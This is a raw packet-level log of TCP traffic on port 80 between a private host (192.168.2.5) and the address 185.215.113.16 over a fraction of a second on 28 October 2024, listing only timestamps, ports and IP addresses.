Oct 28, 2024 21:40:20.525031090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.525075912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.525321007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.525332928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.525362015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.525474072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.525486946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.525525093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.526355982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.526366949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.526377916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.526396036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.526410103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.527232885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.527244091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.527302027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.528115034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.528131962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.528184891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.528772116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.528784037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.528822899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.529515982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.529679060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.529691935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.529730082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.530411959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.530483961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.530579090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.531339884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.531352997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.531390905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.532108068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.532121897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.532176018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.533035994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.533051968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.533092022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.533941984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.533956051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.533967972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.533996105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.534020901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.535640001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.535653114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.535689116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.536083937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.536098003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.536137104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.536973953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.537146091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.537595987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.537614107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.537625074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.537640095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.537668943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.538809061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.538847923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.539696932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.539710999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.539768934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.540169954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.540183067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.540224075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.541064024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.541078091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.541120052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.541943073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.541954994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.541996956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.542999983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.543400049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.543440104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.544097900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.544826031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.544882059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.547416925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.547429085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.547493935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.548506021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.548969030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.549021006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.549690008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.550456047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.550498009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.551397085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.551409960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.551461935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.552001953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.552016020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.552054882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.552295923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.552310944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.552321911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.552344084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.553216934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.553230047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.553242922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.553252935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.553255081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.553280115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.554383039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.554430008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.554526091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.554538965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.554584026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.555263996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.555277109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.555329084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.555387020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.556402922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.556415081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.556427002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.556437969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.556446075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.556457043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.557204008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.557215929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.557228088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.557246923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.557259083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.557954073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.557965994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.558006048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.559376955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.559756041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.559771061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.559782982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.559808016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.559832096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.562689066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.562702894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.562762022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.563338041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.563349009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.563386917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.563682079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.563694000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.563718081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.563731909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.563735008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.563744068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.563781023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.564409971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.564454079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.830657005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.830691099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.830703974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.830754995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.831433058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.831444979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.831476927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.832436085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.832448959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.832492113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.832663059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.832674980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.832700968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.833766937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.833780050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.833806038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.834521055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.834533930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.834544897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.834564924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.834585905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.835287094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.835299969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.835344076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.835778952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.835792065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.835834026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.836590052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.854187965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.854202986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.854233027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.855427980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.855438948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.855477095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.856457949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.856471062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.856509924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.857410908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.857423067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.857508898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.857615948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.857629061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.857640982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.857652903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.857666969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.857696056 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.858445883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.858458042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.858469009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.858494997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.858521938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.859628916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.859646082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.859658003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.859750032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.860340118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.860352039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.860363007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.860373974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.860394001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.860424995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.861273050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.861284971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.861295938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.861330032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.861342907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.865938902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.865952969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.865994930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.866009951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.866022110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.866031885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.866059065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.867108107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.867119074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.867147923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.867611885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.867624044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.867706060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.868287086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.868299007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.868324995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.869136095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.869148016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.869184971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.869628906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.869642973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.869659901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.869677067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.869702101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.871368885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.871381044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.871437073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.872555971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.872570038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.872618914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.873198986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.873212099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.873251915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.874098063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.874111891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.874123096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.874166965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.875397921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.875417948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.875442982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.875947952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.875961065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.876243114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.876981020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.876993895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.877024889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.877357960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.877370119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.877433062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.878293037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.878305912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.878318071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.878354073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.878370047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.879344940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.879359007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.879419088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.880192041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.880204916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.880243063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.880906105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.880922079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.881161928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.881382942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.881396055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.881433010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.882030964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.882044077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.882083893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.882678986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.882690907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.882723093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.883351088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.883362055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.883374929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.883398056 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.884236097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.884289026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.884331942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.887183905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.887262106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.887645006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.887656927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.887696981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.888355017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.888366938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.888401031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.890708923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.890721083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.890748024 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.891419888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.891432047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.891469955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.892739058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.892750978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.892796040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.893188953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.893201113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.893259048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.893903971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.893918037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.893965006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.894684076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.894695997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.894747972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.894970894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.894983053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.895020008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.895742893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.895756960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.895889044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.895900965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.895906925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.895936966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.896574974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.897027016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.897063017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.897640944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.898087025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.898122072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.898459911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.898472071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.898551941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.899674892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.899915934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.899952888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.900572062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.900789022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.900834084 CET	49712	80	192.168.2.5	185.215.113.16
